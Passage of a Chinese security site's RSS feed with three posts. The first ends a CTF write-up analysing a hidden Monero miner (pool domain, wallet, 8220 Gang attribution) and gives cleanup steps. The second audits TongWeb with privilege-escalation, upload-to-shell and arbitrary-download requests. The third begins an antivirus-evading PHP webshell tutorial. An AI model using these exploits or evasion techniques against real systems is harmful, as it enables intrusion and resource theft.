<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><code>--user 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ</code>：挖矿钱包地址（收益归攻击者所有）。</p>
</li>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><code>-t 0</code>：使用所有可用的 CPU 线程挖矿（最大化资源占用）。</p>
</li>
</ul>
</ul>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded">goto&nbsp;start</pre>
<ul class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">跳回 <code>:start</code> 标签，形成无限循环，确保挖矿程序持续运行（即使崩溃也会重启）。</p>
</li>
</ul>
<p class="md-end-block md-p"><span class="md-pair-s "><strong>所以 恶意域名是矿池服务器地址</strong></span></p>
<h3 class="md-end-block md-heading">行为分析</h3>
<ol class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><span class="md-pair-s "><strong>这是一个隐蔽的恶意挖矿脚本</strong></span>：</p>
</li>
<ul style="padding-left: 30px" class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">通过 <code>@echo off</code> 和隐藏窗口运行（结合之前的 VBScript）来避免被发现。</p>
</li>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">无限循环确保挖矿程序长期驻留。</p>
</li>
</ul>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><span class="md-pair-s "><strong>使用的技术</strong></span>：</p>
</li>
<ul style="padding-left: 30px" class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><span class="md-pair-s "><strong><code>RandomX</code> 算法</strong></span>（<code>rx/0</code>）通常用于 <span class="md-pair-s "><strong>门罗币（XMR）</strong></span> 挖矿。</p>
</li>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">矿池地址 <code>b.oracleservice.top</code> 可能是攻击者控制的服务器。</p>
</li>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">钱包地址 <code>46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ</code> 用于接收挖矿收益。</p>
</li>
</ul>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><span class="md-pair-s "><strong>影响</strong></span>：</p>
</li>
<ul style="padding-left: 30px" class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><span class="md-pair-s "><strong>CPU 资源占用极高</strong></span>，导致系统变卡、发热增加。</p>
</li>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">长期运行会增加电费消耗，并可能缩短硬件寿命。</p>
</li>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">可能是通过木马或漏洞植入的（如恶意软件、钓鱼攻击等）。</p>
</li>
</ul>
</ol>
<h3 class="md-end-block md-heading"><span class="md-pair-s "><strong>应对措施</strong></span></h3>
<ol class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><span class="md-pair-s "><strong>立即终止恶意进程</strong></span>：</p>
</li>
<ul style="padding-left: 30px" class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">打开任务管理器（Ctrl+Shift+Esc），结束 <code>sqlwpr.exe</code> 和 <code>wscript.exe</code> 进程。</p>
</li>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">检查后台程序，关闭可疑项目。</p>
</li>
</ul>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><span class="md-pair-s "><strong>删除相关文件</strong></span>：</p>
</li>
<ul style="padding-left: 30px" class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">找到脚本所在目录（<code>%~dp0</code>），删除 <code>sqlwscript.cmd</code> 和 <code>sqlwpr.exe</code>。</p>
</li>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">检查启动项（<code>msconfig</code> 或 <code>任务管理器 &gt; 启动</code>），移除恶意条目。</p>
</li>
</ul>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><span class="md-pair-s "><strong>安全防护</strong></span>：</p>
</li>
<ul style="padding-left: 30px" class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">使用杀毒软件（如 Windows Defender、Malwarebytes）全盘扫描。</p>
</li>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">检查系统是否被植入其他后门（如远控木马）。</p>
</li>
</ul>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><span class="md-pair-s "><strong>防止再次感染</strong></span>：</p>
</li>
<ul style="padding-left: 30px" class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">不要随意运行来历不明的脚本或程序。</p>
</li>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">保持系统和软件更新，修补安全漏洞。</p>
</li>
</ul>
</ol>
<p class="md-end-block md-p"><br/></p>
<h2 class="md-end-block md-heading">4 疑似是什么组织发动的攻击？</h2>
<blockquote><p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0px">题目描述：flag格式为：flag{123XXX}（无空格注意大小写）</p>
</blockquote>
<p class="md-end-block md-p">搜索恶意域名，发现是8220挖矿组织</p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" style="font-family: monospace;width: 800px"><img src="https://pic1.imgdb.cn/item/683c6c6358cb8da5c82187f2.png"/></span></p>
<p class="md-end-block md-p">继续搜索8220挖矿组织，搜到其全名</p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" style="font-family: monospace;width: 800px"><img src="https://pic1.imgdb.cn/item/683c6cbd58cb8da5c821881f.png"/></span></p>
<p class="md-end-block md-p"><span class="md-pair-s "><strong>最终 该组织为8220 Gang</strong></span></p>
<p class="md-end-block md-p"><br/></p>
<h2 class="md-end-block md-heading">5 攻击者C2服务器IP是什么？</h2>
<blockquote><p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0px">题目描述：flag格式为：flag{123.123.123.123}</p>
</blockquote>
<p class="md-end-block md-p">查看挖矿程序的上传时间，确定时间大概在2025.5.27 23:20:00左右</p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" style="font-family: monospace;width: 800px"><img src="https://pic1.imgdb.cn/item/683c76bc58cb8da5c8218bc0.png"/></span></p>
<p class="md-end-block md-p">查询windows的安全日志，筛选 <code>5156</code> 事件（Windows 过滤平台放行连接），逐一查询这段时间之后powershell的出战痕迹</p>
<p class="md-end-block md-p">当然，也可以直接导出筛选日志进行关键词搜索</p>
<p class="md-end-block md-p"><br/></p>
<p class="md-end-block md-p md-focus"><span class="md-plain md-expand">将已筛选的日志导出为txt文件，然后直接搜索powershell.exe关键词，找出可疑的出站目的IP地址，即为C2服务器IP</span></p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" style="font-family: monospace;width: 800px"><img src="https://pic1.imgdb.cn/item/683c718a58cb8da5c8218a94.png"/></span></p>
<p class="md-end-block md-p unholdable md-focus"><br/></p>
<p class="md-end-block md-p"><span class="md-image-after-src"></span></p>
<p><br/></p>
]]></description>
		<wfw:commentRss>https://www.secpulse.com/archives/206357.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TongWeb闭源中间件代码审计</title>
		<link>https://www.secpulse.com/archives/206365.html</link>
		<comments>https://www.secpulse.com/archives/206365.html#comments</comments>
		<pubDate>Tue, 01 Jul 2025 07:25:21 +0000</pubDate>
		<dc:creator><![CDATA[蚁景网安实验室]]></dc:creator>
				<category><![CDATA[代码审计]]></category>

		<guid isPermaLink="false">https://www.secpulse.com/?p=206365</guid>
		<description><![CDATA[<p>应用服务器 TongWeb v7 全面支持 JavaEE7 及 JavaEE8规范，作为基础架构软件，位于操作系统与应用之间，帮助企业将业务应用集成在一个基础平台上，为应用高效、稳定、安全运行提供关键支撑，包括便捷的开发、随需应变的灵活部署、丰富的运行时监视、高效的管理等。</p>
<p>本文对该中间件部分公开在互联网，但未分析细节的漏洞，进行复现分析：</p>
<p><strong style="padding: 0px;margin: 0px">sysweb后台上传getshell：</strong></p>
<p>在互联网搜索发现该版本存在sysweb后台文件下载，可惜却没有复现细节，且访问显示如下：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/36d25a30-e51c-40dc-b9d3-1712cf935eb1.png" width="720" height="289.92857142857144"/></p>
<p>发现通过默认口令thanos/thanos123.com无法登录，且未发现任何相关的默认口令：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/70de2cf2-6985-4dd2-ba7c-bdfa56a0dd1d.png" width="720" height="299.57142857142856"/></p>
<p>于是自己找到配置文件查看权限校验情况：</p>
<p>\sysweb\WEB-INF\web.xml：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/f6e4c3e6-6aef-4608-a0d9-e35690d64f1d.png" width="720" height="399.85714285714283"/></p>
<p>发现配置情况如上，一切/*请求均需要admin权限才行，但目前互联网暂未发现任何其他相关权限账号，自己尝试admin相关弱口令也均为成功，于是继续寻找用户相关功能点：</p>
<p>点击安全服务--安全域管理：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/e7b5cfec-10cf-4ac6-b0bf-34587fdec1bd.png" width="720" height="151.71428571428572"/></p>
<p>点击该安全域：找到默认账户的thanos用户：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/e6cfd34c-97a3-4cea-8a3a-bb6816b2a10c.png" width="720" height="935.0769230769231"/></p>
<p>点击保存，查看数据包：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/8dfcb7f8-55a8-46a9-a24e-6b7bc8c8fc3c.png" width="720" height="183.16373728029603"/></p>
<p>发现该账户的userRole为tongweb与sysweb要求的admin并不匹配，于是点击创建用户：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/d64d435a-dda9-4b5e-ad2f-26b687e9201e.png" width="720" height="582.3529411764706"/></p>
<p>但并未发现可以随意设置用户的useRole，于是点击保存，并拦截数据包：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/6693743a-ef76-4612-890f-703f1a6b1512.png" width="720" height="233.35714285714286"/></p>
<p>将空白的userRole设置为admin，并放包：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/0c2d464b-fe0d-405e-a25e-abbd1b966af8.png" width="720" height="284.7857142857143"/></p>
<p>发现创建成功。于是尝试sysweb登录：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/360f5245-acf5-4218-836f-2131afbc3e19.png" width="720" height="188.35714285714286"/></p>
<p>发现仅仅是如上页面，但是至少权限问题解决了。</p>
<p><br/></p>
<p><br/></p>
<p>接着返回sysweb的配置文件:</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/a23fb8d6-9a17-4baa-a632-b443331b486c.png" width="720" height="388.2857142857143"/></p>
<p>跟进分析：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/64ec1340-0667-47ef-a727-d4a1e449356e.png" width="720" height="615.1319648093842"/></p>
<p>发现未进行任何校验过滤，直接通过parseFileName()方法解析header获取文件名赋值给fileName。</p>
<p>构造如下文件上传数据包：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/879764c7-002e-4898-bb1f-e7e5118f3242.png" width="720" height="468.64285714285717"/></p>
<p>上传成功，shell加一：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/b40167c2-df00-472c-83d3-fa042d1dcbbd.png" width="720" height="169.07142857142858"/></p>
<p><strong style="padding: 0px;margin: 0px">任意文件下载漏洞：</strong></p>
<p>默认账号密码:thanos/thanos123.com登录后台，在快照管理处存在下载功能点：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/4fe08ac8-d42a-43ad-9aaa-578372d708d8.png" width="720" height="77.78571428571429"/></p>
<p>点击下载抓包查看：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/84144642-a18b-40a9-a9aa-f6f13ab0807f.png" width="720" height="322.07142857142856"/></p>
<p>下载文件打包成压缩包下载：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/2cfdcb84-c9fc-47db-8ef5-aa3b5dfee054.png" width="720" height="138.3862194016319"/></p>
<p>如上，疑似存在下载漏洞，跟进路由：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/bac00398-2abb-4b43-b2c9-916151c6d545.png" width="720" height="285.06938020351527"/></p>
<p>如上，先找到类级别的路径位置，注解表示由/rest/monitor/snapshots根路径发起的请求均会被该类处理。</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/93a564bd-91a0-4fca-9d3b-1d5ac2124e66.png" width="720" height="311.7857142857143"/></p>
<p>随后再找到方法级别的路由位置，download的post请求均会被该方法处理：</p>
<p>可见该方法接收了前面数据包传输的参数filename，并赋值给snapshotname参数。</p>
<p>分析如上代码存在以下路径：</p>
<p>Path：根路径，由system.getProperty/temp/download组成</p>
<p>snapshotRootPath：由path/snapshotname组成。</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/595529f7-bedb-49dc-860e-0f28b6de9394.png" width="720" height="421.7142857142857"/></p>
<p>随后进入AgentUtil.receiveFileOrDir()进行目标文件压缩，下载，且此处未进行任何校验：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/2b7c87ea-9702-41b4-8362-c4cc1196b570.png" width="720" height="320.14285714285717"/></p>
<p>但如果直接修改数据包filename进行任意文件下载依然会失败，因为紧接着代码进行了如下校验：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/e6fbefc2-007f-4bf3-b04e-a36aa33557d4.png" width="720" height="309.85714285714283"/></p>
<p>判断下载路径snapshotRootPath的父路径是否是path，也就是对snapshotname与path拼接后的路径进行校验，如果snapshotname值为../../或者为/a/b这种格式则无法通过校验，也就是限制了跨目录操作。</p>
<p>但回过头来查看具体下载操作：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/6a22097c-dd14-4783-8731-fc1611d18028.png" width="720" height="140.14285714285714"/></p>
<p>是通过fileOrDir路径与snapshotRootPath进行文件下载的，查找location的值：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/bed33cf7-b339-4afa-a807-586b40a5f7fd.png" width="720" height="88.07142857142857"/></p>
<p>且发现location参数值可控：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/5a489544-e54d-43c7-a2d5-8c85c0f4d003.png" width="720" height="140.78571428571428"/></p>
<p>于是先通过如下数据包修改location的值(修改为想任意下载的目录)：</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">POST</span> <span class="cm-string-2">/console/rest/monitor/snapshots/setLocation</span> <span class="cm-keyword">HTTP/1.1</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Host: 192.168.73.130:9060</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Gecko/20100101 Firefox/138.0</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Accept: application/json, text/javascript, \*/\*; q=0.01</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Accept-Language:</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Accept-Encoding: gzip, deflate, br</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Content-Type: application/x-www-form-urlencoded; charset=UTF-8</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">X-Requested-With: XMLHttpRequest</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Content-Length: 36</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Origin: http://192.168.73.130:9060</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Connection: keep-alive</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Referer: http://192.168.73.130:9060/console/rest</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Cookie: console-c-4aff-9=EABC776A7845EFBDA555BAA1D078F628;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">DWRSESSIONID=858h23g\$aEjH1iqRz1jnGBLe3rp</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">snapshot_location=D%3A%5CTongWeb7.42</span></pre>
<p>随后再进行下载：</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px">POST /console/rest/monitor/snapshots/download HTTP/1.1</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Host: 192.168.73.130:9060</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Gecko/20100101 Firefox/139.0</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Accept:</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Accept-Language:</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Accept-Encoding: gzip, deflate, br</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Content-Type: application/x-www-form-urlencoded</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Content-Length: 39</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Origin: http://192.168.73.130:9060</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Connection: keep-alive</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Referer: http://192.168.73.130:9060/console/pages/monitor/snapshot.jsp</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Cookie: console-c-4aff-9=429BD65834FAD60D489BC2F36DAF93C5;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">DWRSESSIONID=jvSHNTT66zO2\$Hjyb4sFS7vYdrp</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Upgrade-Insecure-Requests: 1</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Priority: u=4</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">filename=conf</span></pre>
<p>如下，下载成功：</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/e0d9b479-dc1b-4456-a829-57d65c82fb25.png" width="720" height="142.92134831460675"/></p>
<p><br/></p>
]]></description>
		<wfw:commentRss>https://www.secpulse.com/archives/206365.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>这你敢信，复习PHP意外搞出一个免杀WebShell</title>
		<link>https://www.secpulse.com/archives/206392.html</link>
		<comments>https://www.secpulse.com/archives/206392.html#comments</comments>
		<pubDate>Tue, 01 Jul 2025 07:23:12 +0000</pubDate>
		<dc:creator><![CDATA[蚁景网安实验室]]></dc:creator>
				<category><![CDATA[Web安全]]></category>

		<guid isPermaLink="false">https://www.secpulse.com/?p=206392</guid>
		<description><![CDATA[<h2>前言</h2>
<p>正当我饶有性质的开始复习 PHP 开发这个课程准备一天速通期末考试的时候，没想到有心栽花花不开，无心插柳柳成因，意外灵感突发，搞出了一个还算可以的免杀的 webshell，下面讲讲思路</p>
<h2>起</h2>
<p>当打开 php 复习考点的时候，发现还要考魔术方法，于是打开了好久没有翻过的 php 手册</p>
<p>魔术方法是一种特殊的方法，当对对象执行某些操作时会覆盖 PHP 的默认操作。</p>
<p>我们看了大多数魔术方法，都有自己会在某个契机出发</p>
<p>比如一些常规的</p>
<pre>__construct(mixed&nbsp;...$values&nbsp;=&nbsp;&quot;&quot;):&nbsp;void</pre>
<p>PHP 允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法，所以非常适合在使用对象之前做一些初始化工作。</p>
<p>会在实例化一个类的时候触发这个方法</p>
<pre>__destruct():&nbsp;void</pre>
<p>PHP 有析构函数的概念，这类似于其它面向对象的语言，如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。</p>
<p>会在对象销毁的时候执行这个方法</p>
<p>于是我们可以利用这个思路来实现一个命令条件执行的方法</p>
<p>比如看下面的例子</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">&lt;?</span><span class="cm-variable">php</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">class</span> <span class="cm-def">a</span>{</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">public</span> <span class="cm-keyword">function</span> <span class="cm-def">__construct</span>()</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;{</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-builtin">system</span>(<span class="cm-string">&quot;calc&quot;</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">new</span> <span class="cm-variable">a</span>();</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span></pre>
<p>或者</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">&lt;?</span><span class="cm-variable">php</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">class</span> <span class="cm-def">a</span>{</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-keyword">public</span> <span class="cm-keyword">function</span> <span class="cm-def">__destruct</span>()</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;{</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-builtin">system</span>(<span class="cm-string">&quot;calc&quot;</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">new</span> <span class="cm-variable">a</span>();</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span></pre>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/d30b3b70-562c-44f6-b1c7-dd772cfadac8.png" class=""/></p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/9d59add7-4f56-4913-a9f9-3dd7585d954b.png"/></p>
<p>都可以弹出计算器</p>
<p>所以我们可以借助这个思路</p>
<p>但是这两个函数还是太常见了</p>
<p>我们找找其他函数</p>
<h2>承</h2>
<p>于是开始找起来了</p>
<p><img src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/55ba2dbd-1776-4f67-85c0-16ede1fe1957.png"/></p>
<p>手册的方法都感觉太常规，而且都见过</p>
<p>首先需要免杀，那一定需要小众</p>
<p>不知道各位知不知道__debugInfo()这个魔术方法呢</p>
<p>下面介绍一下</p>
<pre>__debugInfo():&nbsp;array</pre>
<p>当通过 var_dump() 转储对象，获取应该要显示的属性的时候，该函数就会被调用。如果对象中没有定义该方法，那么将会展示所有的公有、受保护和私有的属性。</p>
<p>下面是它的使用例子</p>
